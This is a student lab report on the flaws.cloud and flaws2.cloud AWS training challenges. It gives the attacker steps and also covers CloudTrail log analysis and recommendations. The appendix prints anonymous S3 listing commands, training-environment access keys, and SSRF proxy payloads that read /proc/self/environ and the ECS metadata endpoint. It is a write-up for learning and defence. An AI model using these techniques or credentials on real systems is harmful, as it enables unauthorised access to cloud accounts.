

# CLOUD SECURITY LAB

## GROUP 3:

Aleksandr Ulitin  
Avery Aude  
Karandeep Shankar  
Siarhei Palaukou  
Gopi Gor



# TABLE OF CONTENTS

1. Executive Summary
2. Business Impacts
3. Challenge 1
  - a. Level 1
  - b. Level 2
  - c. Level 3
4. Challenge 2
  - a. Attacker - Level 1
  - b. Attacker - Level 2
  - c. Attacker - Level 3
  - d. Defender - Objective 1
  - e. Defender - Objective 2
  - f. Defender - Objective 3
  - g. Defender - Objective 4
  - h. Defender - Objective 5
5. Recommendations
6. Appendix
7. References

# EXECUTIVE SUMMARY

Cloud security is an essential part of today's digital landscape, and it is very important to secure this as it allows for attackers to access public information and S3 buckets which can reveal information about a person, organization or its assets.

In this cloud security lab, we will be conducting a security assessment and exploitation for two cloud websites, mainly the first through Level 1 - Level 3 and then further go ahead to the second challenge to play with an attacker and defender perspective.

The potential impacts to a business can be very large if any information from these cloud providers is published or leaked online. Almost every single individual in the world today uses cloud services to store contacts, images, videos or important financial documents. Apple iCloud, or Google Drive are amongst the most used systems.

# BUSINESS IMPACTS

With the cloud having such a important part in our lives, cloud security is utmost importance to be given at any given point. It is the backbone of the future of the digital landscape, allowing businesses, people and countries to connect for any requirements. If the cloud resources are exploited, there are large repercussions that impact the business. Below are some of the business impacts:

1. Financial losses: the company may incur huge financial losses incase the data and information on the cloud is exposed to unauthorized individuals.
2. Reputation: the reputation of the cloud providers hosting these services will drop and therfore also result in loss of customer trust.
3. Business Continuity: this drop in reputation and trust may lead a company reaching existential crisis, and loss of employees too.
4. Legal & Compliance: with regards to failing to suffice with the standards, the attackers could make changes that affect and prove that the company was not in line with the compliance standards, therefore causing big amounts to be pad.

# CHALLENGE 1

## Level 1

- First we log into the kali machine and we go to the **flaws.cloud** website on our browser. The first level tells us to find the sub-domain.
- We do a **dig flaws.cloud** to get the IP address of the server, and followed it with an nslookup.
- We found the name of the server and could see that it is an S3 bucket and is in the us-west-2 region.
- We then try to browse the bucket and ls the contents of it using **aws s3 ls s3://flaws.cloud/ --no-sign-request --region us-west-2**.
- We then **cat** the **secret file** from the list and we can see that we have found the secret file and the level is solved!

## Vulnerability:

The permissions on the S3 bucket were set to everyone and thus anyone on the internet could list the directories on the S3 bucket in this case.

# CHALLENGE 1

## Level 2

- For this part of the level, we are going to create our own user. We found the hosted service, i.e., the secret and now we run that service.
- We create a new user, using the **aws configure --profile** command on CLI, following which we list the profiles.
- We then see that we can access the same directory with the new created user, using the command **aws s3 --profile YOUR\_ACCOUNT ls s3://level2c8b217a33fcf1f839f6f1f73a00a9ae7.flaws.cloud**
- We then save this file locally, and list the contents with this user, to view the contents with the **cat command**.
- We again found the secret file and now we have cleared level 2 as well!

## **Vulnerability:**

The permissions again, were not set to everyone, but everyone with an AWS account. This will still allow any user with an authorized AWS user to buckets to access and list the directory listings.

# CHALLENGE 1

## Level 3

- Now, we again open the link to the hosted file, to go to level 3. We access the files with the no sign request so we can access it without an access id.
- When we listed these files, we did not find anything interesting, but we found something when we listed the hidden files. We found a git folder.
- We go further to use the **git log** command to see two git versions.
- Following this, we wanted to switch between versions, so we use the **git checkout** command along with the hash value used at the commit.
- Once we do this, we can list the files and we can see the access keys file, which contains the access keys using which we create the profile and credentials.

## **Vulnerability:**

The access keys which were misplaced or leaked have not been revoked correctly, and thus anyone with the access to the bucket and listings, will be able to view it through git repos, and thus have access to these keys.

# CHALLENGE 2

## Attacker - Level 1

- In this challenge, we first need to crack a pin, and brute forcing won't help, so we look at the source code which is the javascript.
- We see that the form is submitting a request to a specific form and so we change the parameter to a non-number.
- When we do this, we get an error message, but we get all details such as AWS Secret Key, Access ID and Session ID.
- Using this, we configure the user, we can list all the files and directories.
- This reveals the secret file to us which then takes us to level 2!

## **Vulnerability**

In this level, the source code ran into an error, and dumped environment variables which can contain sensitive data. Additionally, the IAM role had list permissions, and the input validation was done by javascript which could be then bypassed.



# CHALLENGE 2

## Attacker - Level 2

- In this part of the challenge, we first worked on the batch file of images, due to the ECR container being public.
- We know that all the website in this level runs out of the us-east-1 region, and that means we can list the images using **aws ecr list-images --repository-name level2 --registry-id 653711331788**.
- We then want dig into the files, and thus use the aws cli that we have configured, to get the list of images and their digest values.
- Following this, we download the url-layer by using the image digest from that using the command shown in the appendix, and we get the password from that file.

## **Vulnerability:**

The other public resources are there on AWS, but usually more difficult to brute force, But anyone with ECR permissions can access the images, and this can give out important information like passwords etc.

# CHALLENGE 2

## Attacker - Level 3

- In this level, we get access to a webserver which has a proxy that can be accessed.
- We can find the credentials for this proxy from an environment variable in the **AWS\_CONTAINER\_CREDENTIALS\_RELATIVE\_URI** path.
- When we use this, we find the environment variables which allow us to find the credentials and then use it to access the aws s3 buckets listings.
- Then we use these credentials and configure the AWS to find the listings.
- The listings show us the secret file with the link to the final stage.
- When we click this link, we are redirected to the page where we have successfully completed all 3 levels!

## **Vulnerability:**

The vulnerability was found on the webserver of the proxy and this vulnerability allowed for accessing local files on the proxy, followed by environmental variables, which in turn allowed to gain the credentials which can be used by the attacker.

# CHALLENGE 2

## Defender - Objective 1

### Downloading CloudTrail Logs

- In this part of the challenge, the first objective is to download the cloudtrail logs.
- We configure the aws-profile by using the credentials given, and then verify it using the **aws sts get-caller-identity** command.
- Following this, we could see and download all the logs which would be useful for the analysis.
- This gives us a lot of .json.gz files which are downloaded in the aws directory which we are using from the directory path **AWSLogs/653711331788/CloudTrail/us-east-1/2018/11/28/**
- This is a public S3 bucket and these are logs from a successful hack.

# CHALLENGE 2

## Defender - Objective 2

### Access the Target Account

- It is usually best practice to use a separate security account which can access logs and also view all information for other accounts.
- Here we access the Target account which gives all kinds of security access.
- We first look the directory and do a **cat config** to look at the current profile in the config file.
- After this we add a profile into the file using **nano** and then we do a **cat config** again. Here we see the source profile and role\_arn details as in the appendix.
- Then we verify this and check the details through the **aws --profile target\_security sts get-caller-identity** command which lists the userID, account and ARN of the user.
- This shows that we run in security account and context of the target account, and when listed, we can see all the S3 buckets of the directory listings.

# CHALLENGE 2

## Defender - Objective 3

### Using jq

- We use the jq command in this part to look through the logs and parse the data as required.
- From level 1, we had already downloaded all the .json.gz files and now we need to unzip them to parse the logs.
- We use the command **find . -type f -name "\*.gz" -exec gunzip {} \;** to gunzip the files (extract them)
- Following this, we wanted all the data from the files, so we used a cat command **find . -type f -name "\*.json" -exec cat {} \; | jq ‘.’** which is shown with results in the appendix.
- We then parsed it and filtered it in ways to look at the logs and other details.
- One important part we noticed is that there is an ANONYMOUS PRINCIPLE which means these calls were not made with an AWS principal. They mean they are S3 requests from a web browser. This can be verified using the user agents field.

# CHALLENGE 2

## Defender - Objective 4

### Identify credential theft

- The objective of this level is to understand credential theft.
- We first look at the records from the .json logs and then try to filter them on the basis of the event name.
- As shown in the appendix, the command we used listed all records with jq that have the event name “**ListBuckets**”.
- We notice here that the IP is not an Amazon IP, which we can say is the attacker’s IP. We can see it is all from level 3, so we look at the data from level 3.
- This command **aws --profile target\_security iam get-role --role-name level3** shows us that it allows only principal, but it did not come from any AWS IP.
- This proves that it has been hacked, if we look at the logs from the ECS container.

# CHALLENGE 2

## Defender - Objective 5

### Identify the public resource

- We can say that now we have seen compromised credentials and they allowed us to see all details of events like listimages, and others.
- We checked the policy of the ListImage using **aws --profile target\_security\_ecr get-repository-policy --repository-name level2**.
- The output has been shown in the appendix, but we have 3 main fields in that - policytext, repositoryname, and registryid.
- The policy text when further cleaned up, shows us the principal field which has a \*. This denotes that the actions are all open to the whole public to perform, and means that in this case, the ECR is fully public.
- This way, we can view which ECR are public resources.

# RECOMMENDATIONS

Throughout the different challenges in this lab, we came across several issues and vulnerabilities in the AWS cloud environment. Below, we have provided the solutions and recommendations.

## **Challenge 1 - Level 1**

We know S3 buckets are a common way to store static websites. Notably, according to Scott Piper, you could conceivably create an “Apple.com” S3 bucket that would prevent Apple from ever hosting their main website via S3. To mitigate this from an organizational perspective, we can:

1. Proactively register S3 buckets with our domain name, even without using them for operations. This is extremely cheap and prevents potential domain hijacking.
2. Ensure domain names have appropriate trademark rights by involving legal teams. Consider potential cease-and-desist notices to offending individuals or organizations.
3. Proactive monitoring of S3 buckets to identify potential threats to our trademark or IP.



# RECOMMENDATIONS

We have seen that S3 buckets can host static files, which we navigated to via DIG and CAT. This revealed the “hidden domain” which was Level 2. In a non-training environment, this static file that we discovered would constitute a “data breach” because we accessed a “secret” HTML using simple Linux scripting that revealed potentially sensitive information.

- Establishing granular permissions for AWS buckets, via Amazon Identity and Access Management policies. Reducing all users or visitors to exclusively “view” permissions as opposed to List or Edit. Escalate permissions and privileges based on operational need.
- Implement encryption for static files, or remove the files if they are not operationally needed. Amazon EBS or Amazon RDS are examples of scalable encryption methods for data-at-rest stored in Amazon buckets.
- Continuous monitoring for AWS activity such as CloudTrail, which may detect suspicious activity like we demonstrated.

# RECOMMENDATIONS

## Challenge 1 - Level 2

Similar to the first challenge, there was an improper configuration of access permissions in the AWS bucket. Any Authenticated AWS user has high level access privileges, as opposed to defined users in our organization.

- Editing access permissions and choosing specific users to have higher level authorities as needed.

## Challenge 1 - Level 3

A concern here is committing secret or operationally sensitive information to public Github repositories. We acquired this by access keys and Git logs that should otherwise be secret. It is challenging to mitigate this because of the nature of AWS buckets. If an employee has list privileges of some buckets, they can list them all.

- Revoke compromised keys when detected, conduct “rolling” which is the regular changing of keys. Use an erratic schedule to prevent insider threats or patterned attacks.
- Avoid the use of “obvious” names for potentially secret buckets. Examples include “Super Secret Keys DO NOT SHARE”, “passwords.txt”, etc.

# RECOMMENDATIONS

## Challenge 2 - Attacker

Over the course of this challenge, we encountered some basic errors that are made during the configurations of the cloud profile, which enabled these attacks.

- The environment variables should not be dumped in error conditions. It may contain sensitive information.
- Input validation should be on server-side as well, not just client side,
- Avoid having public resources and ensure that the IAM roles have only least privilege.

## Challenge 2 - Defender

- Logs give a lot of information on the data stored and data collected. This also lists S3 bucket information and informs us about the anonymous logins in different regions.
- In many cases, ECR is public, which can list the resources, better to check that before launching an attack.
- Better to use incident response tools, and automated queries to run results and test the cloud environment.

## Challenge 1: Level 1

```

[user@kali:~]$ dig flags.cloud

<> DIG 9.19.17.2-kali-Kali <> flags.cloud
;; Global options: <cmd>
;; Got answer:
;; --HEADER-- opcode: QUERY, status: NOERROR, id: 11729
;; flags: qr rd ra; QUERY: 1, ANSWER: 8, AUTHORITY: 0, ADDITIONAL: 1

;; OPT PSEUDOSECTION:
; EDNS: version: 0, flags: udp: 512
;; QUESTION SECTION:
;flags.cloud.                IN      A

;; ANSWER SECTION:
flags.cloud.      5      IN      A      52.92.164.203
flags.cloud.      5      IN      A      52.92.239.27
flags.cloud.      5      IN      A      52.92.249.139
flags.cloud.      5      IN      A      52.92.187.287
flags.cloud.      5      IN      A      52.216.243.90
flags.cloud.      5      IN      A      52.92.144.195
flags.cloud.      5      IN      A      52.92.195.91
flags.cloud.      5      IN      A      52.92.154.115

;; Query time: 31 msec
;; SERVER: 75.75.75.75(75.75.75.75) (UDP)
;; WHEN: Wed Apr 24 23:10:55 EDT 2024
;; MSG SIZE rcvd: 168

[user@kali:~]$
$ nslookup 52.92.164.203
203.164.92.52.in-addr.arpa      name = s3-website-us-west-2.amazonaws.com.

```

```
(serg@kali)-[~]
$ aws s3 ls s3://flaws.cloud/ --no-sign-request --region us-west-2
2017-03-13 23:00:38      2575 hint1.html
2017-03-02 23:05:17      1707 hint2.html
2017-03-02 23:05:11      1101 hint3.html
2024-02-21 21:32:41      2861 index.html
2018-07-10 12:47:16    15979 logo.png
2017-02-26 20:59:28        46 robots.txt
2017-02-26 20:59:30     1051 secret-dd02c7c.html
```

[illegible]

# APPENDIX

## Challenge 1: Level 2

```
(serg@kali)-[~/aws]
$ host level2-c8b217a33fcf1f839f6f1f73a00a9ae7.flaws.cloud
level2-c8b217a33fcf1f839f6f1f73a00a9ae7.flaws.cloud has address 52.218.176.122
level2-c8b217a33fcf1f839f6f1f73a00a9ae7.flaws.cloud has address 52.92.224.19
level2-c8b217a33fcf1f839f6f1f73a00a9ae7.flaws.cloud has address 52.92.206.83
level2-c8b217a33fcf1f839f6f1f73a00a9ae7.flaws.cloud has address 52.92.212.179
level2-c8b217a33fcf1f839f6f1f73a00a9ae7.flaws.cloud has address 52.92.201.51
level2-c8b217a33fcf1f839f6f1f73a00a9ae7.flaws.cloud has address 52.218.205.138
level2-c8b217a33fcf1f839f6f1f73a00a9ae7.flaws.cloud has address 52.218.238.50
level2-c8b217a33fcf1f839f6f1f73a00a9ae7.flaws.cloud has address 52.92.212.195

(serg@kali)-[~/aws]
$ host 52.218.176.122
52.218.176.122.in-addr.arpa domain name pointer s3-website-us-west-2.amazonaws.com.
```

```
(serg@kali)-[~/aws]
$ aws configure --profile serg
AWS Access Key ID [None]: LJP4
AWS Secret Access Key [None]:
Default region name [None]:
Default output format [None]:
```

```
(serg@kali)-[~/aws]
$ aws configure list-profiles
default
serg
```

```
(serg@kali)-[~/aws]
$ aws s3 ls s3://level2-c8b217a33fcf1f839f6f1f73a00a9ae7.flaws.cloud/ --profile serg
2017-02-26 21:02:15      80751 everyone.png
2017-03-02 22:47:17      1433 hint1.html
2017-02-26 21:04:39      1035 hint2.html
2017-02-26 21:02:14      2786 index.html
2017-02-26 21:02:14         26 robots.txt
2017-02-26 21:02:15      1051 secret-e4443fc.html
```

```
(serg@kali)-[~/aws/2]
$ cat secret-e4443fc.html
<html>
  <head>
    <title>FLAWS</title>
    <META NAME="ROBOTS" CONTENT="NOINDEX, NOFOLLOW">
    <style>
      body { font-family: Andale Mono, monospace; }
      :not(center) > pre { background-color: #202020; padding: 4px; border-radius: 5px; border-color: #000000;
        border-width: 1px; border-style: solid; }
    </style>
  </head>
  <body>
    text="#000000"
    bgcolor="#000000"
    style="max-width:800px; margin-left:auto ;margin-right:auto"
    vlink="#00ff00" link="#00ff00"

    <center>
      <pre>
        FLAWS
      </pre>

      <h1>Congrats! You found the secret file!</h1>
    </center>

    Level 3 is at <a href="http://level3-9afd3927f195e10225021a578e6f78df.flaws.cloud">http://level3-9afd3927f195e10225021a578e6f78df.flaws.cloud</a>

  </body>
</html>
```

# APPENDIX

## Challenge 1: Level 3

```
(serg@kali)-[~/aws/3]
$ host level3-9afd3927f195e10225021a578e6f78df.flaws.cloud
level3-9afd3927f195e10225021a578e6f78df.flaws.cloud has address 52.92.162.67
level3-9afd3927f195e10225021a578e6f78df.flaws.cloud has address 52.92.205.75
level3-9afd3927f195e10225021a578e6f78df.flaws.cloud has address 52.218.205.106
level3-9afd3927f195e10225021a578e6f78df.flaws.cloud has address 52.92.213.35
level3-9afd3927f195e10225021a578e6f78df.flaws.cloud has address 52.92.241.75
level3-9afd3927f195e10225021a578e6f78df.flaws.cloud has address 52.92.225.187
level3-9afd3927f195e10225021a578e6f78df.flaws.cloud has address 52.92.187.227
level3-9afd3927f195e10225021a578e6f78df.flaws.cloud has address 52.92.209.131

(serg@kali)-[~/aws/3]
$ host 52.92.162.67
Host 67.162.92.52.in-addr.arpa. not found: 3(NXDOMAIN)

(serg@kali)-[~/aws/3]
$ host 52.92.205.75
75.205.92.52.in-addr.arpa domain name pointer s3-website-us-west-2.amazonaws.com.
```

```
(serg@kali)-[~/aws/3]
$ aws s3 ls s3://level3-9afd3927f195e10225021a578e6f78df.flaws.cloud
PRE .git/
2017-02-26 19:14:33 123637 authenticated_users.png
2017-02-26 19:14:34 1552 hint1.html
2017-02-26 19:14:34 1426 hint2.html
2017-02-26 19:14:35 1247 hint3.html
2017-02-26 19:14:33 1035 hint4.html
2020-05-22 14:21:10 1861 index.html
2017-02-26 19:14:33 26 robots.txt
```

```
(serg@kali)-[~/aws/3]
$ git log
commit b64c8dcfa8a39af06521cf4cb7dce5f0ca9e526 (HEAD -> master)
author: 0xdabbad00 <scott@summitroute.com>
date: Sun Sep 17 09:10:43 2017 -0600

    Oops, accidentally added something I shouldn't have

commit f52ec03b227ea6094b04e43f475fb0126edb5a61
author: 0xdabbad00 <scott@summitroute.com>
date: Sun Sep 17 09:10:07 2017 -0600

    first commit
```

```
(serg@kali)-[~/aws/3]
$ git checkout f52ec03b227ea6094b04e43f475fb0126edb5a61
Note: switching to 'f52ec03b227ea6094b04e43f475fb0126edb5a61'.

You are in 'detached HEAD' state. You can look around, make experimental
changes and commit them, and you can discard any commits you make in this
state without impacting any branches by switching back to a branch.

If you want to create a new branch to retain commits you create, you may
do so (now or later) by using -c with the switch command. Example:

    git switch -c <new-branch-name>

Or undo this operation with:

    git switch -

Turn off this advice by setting config variable advice.detachedHead to false

HEAD is now at f52ec03 first commit
(serg@kali)-[~/aws/3]
$ ls
access_keys.txt authenticated_users.png hint1.html hint2.html hint3.html hint4.html index.html robots.txt
```

```
(serg@kali)-[~/aws/3]
$ ls -la
total 160
drwxr-xr-x 3 serg serg 4096 Apr 22 20:25 .
drwxr-xr-x 4 serg serg 4096 Apr 22 20:16 ..
-rw-r--r-- 1 serg serg 123637 Feb 26 2017 authenticated_users.png
drwxr-xr-x 7 serg serg 4096 Apr 22 20:25 .git
-rw-r--r-- 1 serg serg 1552 Feb 26 2017 hint1.html
-rw-r--r-- 1 serg serg 1426 Feb 26 2017 hint2.html
-rw-r--r-- 1 serg serg 1247 Feb 26 2017 hint3.html
-rw-r--r-- 1 serg serg 1035 Feb 26 2017 hint4.html
-rw-r--r-- 1 serg serg 1861 May 22 2020 index.html
-rw-r--r-- 1 serg serg 26 Feb 26 2017 robots.txt
```

```
(serg@kali)-[~/aws/3]
$ cat access_keys.txt
access_key AKIAJ366LIPB4IJKT7SA
secret_access_key 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
```

```
(serg@kali)-[~/aws/3]
$ aws configure --profile testkey
AWS Access Key ID [None]: AKIAJ366LIPB4IJKT7SA
AWS Secret Access Key [None]: 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
Default region name [None]: us-west-2
Default output format [None]:
```

```
(serg@kali)-[~/aws/3]
$ aws s3 ls --profile testkey
2020-06-25 13:45:52 2f4e53154c0a7fd086a04a12a452c2a4caed8da0.flaws.cloud
2020-06-26 19:06:07 config-bucket-975426262029
2020-06-27 06:46:15 flaws-logs
2020-06-27 06:46:15 flaws.cloud
2020-06-27 11:27:14 level2-c8b217a33fcf1f839f6f1f73a00a9ae7.flaws.cloud
2020-06-27 11:27:14 level3-9afd3927f195e10225021a578e6f78df.flaws.cloud
2020-06-27 11:27:14 level4-1156739c6b264ced6de514971a4bef68.flaws.cloud
2020-06-27 11:27:15 level5-d2891f604d2061b6977c2481b0c8333e.flaws.cloud
2020-06-27 11:27:15 level6-cc4c404a8a8b76167f5e70a7d8c9880.flaws.cloud
2020-06-27 22:29:47 theend-797237e8ada164bf9f12cebfb93b282cf.flaws.cloud
```



# APPENDIX

## Challenge 2: Attacker Level 1

```
13
14 <div class="content">
15   <div class="row">
16     <div class="col-sm-12">
17       <center><h1>Level 1</h1></center>
18       <br>
19       For this level, you'll need to enter the correct PIN code. The correct PIN is 100 digits long, so brute forcing it won't help.
20
21       <script type="text/javascript">
22         function validateForm() {
23           var code = document.forms["myForm"]["code"].value;
24           if (!isNaN(parseFloat(code)) && isFinite(code)) {
25             alert("Code must be a number");
26             return false;
27           }
28         }
29       </script>
30
31       <br>
32       <br>
33       <div id="incorrect"></div>
34       <br>
35       <form name="myForm" action="https://2rfismoo8.execute-api.us-east-1.amazonaws.com/default/level1" onsubmit="return validateForm()">
36         Code: <input type="text" name="code" value="1234">
37         <br>
38         <input type="submit" value="Submit">
39       </form>
40       <br>
41       <p>Need a <a href="hint1.htm">hint</a>?</p>
42     </div>
43   </div>
44 </div>
```

```
view-source:https://2rfismoo8.execute-api.us-east-1.amazonaws.com/default/level1?code=a
Kali Linux Kali Tools Kali Docs Kali Forums Kali NetHunter Exploit-DB Google Hacking DB OffSec
/task/lib:/opt/lib/, AWS_ACCESS_KEY_ID="ASIAZQNB3KHGOKEG33MU", AWS_SESSION_TOKEN="IqoJb3JpZ2luX2VjEFYvaXVzLWVhc3QtMSJHEUCIQRjQ12BL50g1FCgltTFW3tyCCvNVS9AziI2et0n/O0iXFLUj00iWjxYZMmqS289zqpddQePnpDfU9HEra4q6QIIn////////ARADGgw2NTM3MTEzMzE3ODgiDNEG
QLRnNrafj6XWuiq9Ahfg/nkUSLgtig6Q0DeGm+fqnK4eIFGw+TLj62pgUva4xP+Y1dw/geYpzaLIXCKNr3GbEMV98iXnbMVISmdmCgp6nYVt
q8io0YR8uKJ02026tpsCYh+bXSt8gHFQsrXCS+iqwaKcb3J4Itb02tIi/nabzEPCo3DtA44lg9Ca2pzJkgTLZhtt8B+x0R7LZ7LPR4OQSG71
XTEQkMsp31ta5S148pcmh1DcmtPyzcmgxp9tN9cuNwxEhXMF1TV51JNqyA1JelD5o/B9MTWz3PmGXXTQ0T+vJF3avla7VFjxvdb3qWkBI0uR
hvQnQjitNaq3fLDxAmddmifTsMUwkQhc3bSYfdNIKpXx0s0jV+6oIzhWVH+6K0cM9o3otL/frZVTJ/3GWgoH0qkzyq3HIXuFu7/zeLgDFZpA
yY3Ksu8uMOXyp7EG0p4BU52CyC2qKupecZlhuJpYS/6WgLeoNNVzibKtaFyPBw2H6cPH/B/+WR+N74LUyWRQ4HJhdvnCYgQ1AUq89kOMQIa3
wyBRrLDpJf9R/qUHVcyhCRmELiVaRWvlsIpsb+ek/OtUvEkx2dHVqsGBSBwyWkMzSd82kCap2NrZd/eiU43MJtR+ju5M5Bp2Q3RVLGbcx9J
Z8qom8Qtff/artnI=
```

```
(user1@kali)-[~]
$ aws configure set aws_access_key_id ASIAZQNB3KHGOKEG33MU

(user1@kali)-[~]
$ aws configure set aws_secret_access_key +J1bdu7FMle7PvRcSyXuM3AiDhSk27HJKMT+p96M

(user1@kali)-[~]
$ aws configure set aws_session_token IqoJb3JpZ2luX2VjEFYvaXVzLWVhc3QtMSJHEUCIQRjQ12BL50g1FCgltTFW3tyC
CvNVS9AziI2et0n/O0iXFLUj00iWjxYZMmqS289zqpddQePnpDfU9HEra4q6QIIn////////ARADGgw2NTM3MTEzMzE3ODgiDNEG
QLRnNrafj6XWuiq9Ahfg/nkUSLgtig6Q0DeGm+fqnK4eIFGw+TLj62pgUva4xP+Y1dw/geYpzaLIXCKNr3GbEMV98iXnbMVISmdmCgp6nYVt
q8io0YR8uKJ02026tpsCYh+bXSt8gHFQsrXCS+iqwaKcb3J4Itb02tIi/nabzEPCo3DtA44lg9Ca2pzJkgTLZhtt8B+x0R7LZ7LPR4OQSG71
XTEQkMsp31ta5S148pcmh1DcmtPyzcmgxp9tN9cuNwxEhXMF1TV51JNqyA1JelD5o/B9MTWz3PmGXXTQ0T+vJF3avla7VFjxvdb3qWkBI0uR
hvQnQjitNaq3fLDxAmddmifTsMUwkQhc3bSYfdNIKpXx0s0jV+6oIzhWVH+6K0cM9o3otL/frZVTJ/3GWgoH0qkzyq3HIXuFu7/zeLgDFZpA
yY3Ksu8uMOXyp7EG0p4BU52CyC2qKupecZlhuJpYS/6WgLeoNNVzibKtaFyPBw2H6cPH/B/+WR+N74LUyWRQ4HJhdvnCYgQ1AUq89kOMQIa3
wyBRrLDpJf9R/qUHVcyhCRmELiVaRWvlsIpsb+ek/OtUvEkx2dHVqsGBSBwyWkMzSd82kCap2NrZd/eiU43MJtR+ju5M5Bp2Q3RVLGbcx9J
Z8qom8Qtff/artnI=

(user1@kali)-[~]
$ aws configure list
Name Value Type Location
profile <not set> None None
access_key *****33MU shared-credentials-file
secret_key *****p96M shared-credentials-file
region us-east-1 config-file ~/.aws/config

(user1@kali)-[~]
$ aws s3 ls s3://level1.flaws2.cloud
PRE img/
2018-11-20 15:55:05 17102 favicon.ico
2018-11-20 21:00:22 1905 hint1.htm
2018-11-20 21:00:22 2226 hint2.htm
2018-11-20 21:00:22 2536 hint3.htm
2018-11-20 21:00:23 2460 hint4.htm
2018-11-20 21:00:17 3000 index.htm
2018-11-20 21:00:17 1899 secret-ppxVFdwV4DDtZm8vbQRvhl8mE6wxNco.html
```

# APPENDIX

## Challenge 2: Attacker Level 2

```
(user1@kali)-[~]
$ aws ecr batch-get-image --repository-name level2 --registry-id 653711331788 --image-ids imageTag-latest | jq '.images[0].imageManifest | fromjson'
{
  "schemaVersion": 2,
  "mediaType": "application/vnd.docker.distribution.manifest.v2+json",
  "config": {
    "mediaType": "application/vnd.docker.container.image.v1+json",
    "size": 5359,
    "digest": "sha256:2d73de35b78103fa305bd94142443d520524a050b1e0c78c48864dc0f8a0621"
  },
  "layers": [
    {
      "mediaType": "application/vnd.docker.image.rootfs.diff.tar.gzip",
      "size": 43412182,
      "digest": "sha256:7b0b6451c85f072fd0d7961c97be3fe6e2f772657d471254f6d52ad9f158a580"
    },
    {
      "mediaType": "application/vnd.docker.image.rootfs.diff.tar.gzip",
      "size": 848,
      "digest": "sha256:ab4d1096d9ba178819a3f71f17add95285b393e96d08c8a60fc3446355bcd49"
    },
    {
      "mediaType": "application/vnd.docker.image.rootfs.diff.tar.gzip",
      "size": 619,
      "digest": "sha256:e6797d1788acd741d33f453b106586ffee568be513d47ede204c9bc3858822e"
    },
    {
      "mediaType": "application/vnd.docker.image.rootfs.diff.tar.gzip",
      "size": 168,
      "digest": "sha256:e25c5c298bded5267364aa9f59a18dd22a0b776d7658a41ffabbf691d8104e36"
    },
    {
      "mediaType": "application/vnd.docker.image.rootfs.diff.tar.gzip",
      "size": 168,
      "digest": "sha256:e25c5c298bded5267364aa9f59a18dd22a0b776d7658a41ffabbf691d8104e36"
    }
  ]
}
```

```
(user1@kali)-[~]
$ aws ecr list-images --repository-name level2 --registry-id 653711331788 --profile tnb
```

```
(user1@kali)-[~]
$ aws ecr get-download-url-for-layer --repository-name level2 --registry-id 653711331788 --layer-digest "sha256:7b0b6451c85f072fd0d7961c97be3fe6e2f772657d471254f6d52ad9f158a580"
```

```
(user1@kali)-[~]
$ sudo htpasswd -b -c /etc/nginx/.htpasswd flaws2 secret_password
Adding password for user flaws2
```

```
(user1@kali)-[~]
$
```



# APPENDIX

## Challenge 2: Attacker Level 3

```
container.target.flaws2.cloud/proxy/file:///proc/self/environ
HOSTNAME=ip-172-31-71-229.ec2.internalHOME=/rootAWS_CONTAINER_CREDENTIALS_RELATIVE_URI=
/v2/credentials/cd0f067f-f28a-4f8a-
ba76-0e697ec1d289AWS_EXECUTION_ENV=AWS_ECS_FARGATEECS_AGENT_URI=http://169.254.170.2
/api/f35ed506631a4b3f953d1928a8e3a0c2-3779599274AWS_DEFAULT_REGION=us-
east-1ECS_CONTAINER_METADATA_URI_V4=http://169.254.170.2
/v4/f35ed506631a4b3f953d1928a8e3a0c2-3779599274ECS_CONTAINER_METADATA_URI=http://169.254.170.2
/v3/f35ed506631a4b3f953d1928a8e3a0c2-3779599274PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:
/binAWS_REGION=us-east-1PWD=/
```

```
container.target.flaws2.cloud/proxy/http://169.254.170.2/v3/f35ed506631a4b3f953d1928a8e3a0c2-3779599274
{"DockerId":"f35ed506631a4b3f953d1928a8e3a0c2-3779599274","Name":"level3","DockerName":"level3","Image":"6
east-1.amazonaws.com/level2","ImageID":"sha256:513e7d8a5fb9135a61159fbfb385a4beb5ccbd84e5755d76ce923e0
{"com.amazonaws.ecs.cluster":"arn:aws:ecs:us-east-1:653711331788:cluster/level3","com.amazonaws.ecs.container-
name":"level3","com.amazonaws.ecs.task-arn":"arn:aws:ecs:us-east-1:653711331788:task/level3
/f35ed506631a4b3f953d1928a8e3a0c2","com.amazonaws.ecs.task-definition-
family":"level3","com.amazonaws.ecs.task-definition-
version":"3"},"DesiredStatus":"RUNNING","KnownStatus":"RUNNING","Limits":
{"CPU":2},"CreatedAt":"2024-03-28T21:21:12.65410745Z","StartedAt":"2024-03-28T21:21:12.65410745Z","Type":"N
[{"NetworkMode":"awsvpc","IPv4Addresses":["172.31.71.229"]},"Health":
{"status":"UNHEALTHY","statusSince":"2024-03-28T21:23:13.020107089Z","exitCode":255,"output":"OCI runtime
exec failed: exec failed: unable to start container process: exec: \"/exit 0/": executable file not found in $PATH:
unknown"}}}
```


```
(user1@kali)-[~]
$ aws configure list
      Name                               Value                               Type      Location
-----
profile                                <not set>                           None      None
access_key                            *****33MU                         shared-credentials-file
secret_key                             *****p96M                         shared-credentials-file
region                                us-east-1                           config-file  ~/.aws/config

(user1@kali)-[~]
$ aws configure set region us-east-1

(user1@kali)-[~]
$ aws s3 ls
```

the-end-962b72bjahfm5b4wcktm8t9z4sapemjb.flaws2.cloud

Screenshot taken  
View image

flaws2.cloud

## The End

Congrats! You completed the attacker path of f1AWS 2! There is also a [defender path](#).

# APPENDIX

## Challenge 2: Defender Objective 1

```
(user1@kali)~[~/aws]
$ aws configure
AWS Access Key ID [None]: AKIAIUFNQ2WCOPTEITJQ
AWS Secret Access Key [None]: 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
Default region name [None]: us-east-1
Default output format [None]: json
```

```
(user1@kali)~[~/aws]
$ aws sts get-caller-identity
{
  "UserId": "AIDAJXZBU42TNFRNGBBFI",
  "Account": "322079859186",
  "Arn": "arn:aws:iam::322079859186:user/security"
}
```

```
(user1@kali)~[~/aws]
$ aws s3 sync s3://flaws2-logs .
download: s3://flaws2-logs/AWSLogs/653711331788/CloudTrail/us-east-1/2018/11/28/653711331788_CloudTrail_us-east-1_20181128T2235Z_cR9ra7OH1rytWyXY.json.gz to AWSLogs/653711331788/CloudTrail/us-east-1/2018/11/28/653711331788_CloudTrail_us-east-1_20181128T2235Z_cR9ra7OH1rytWyXY.json.gz
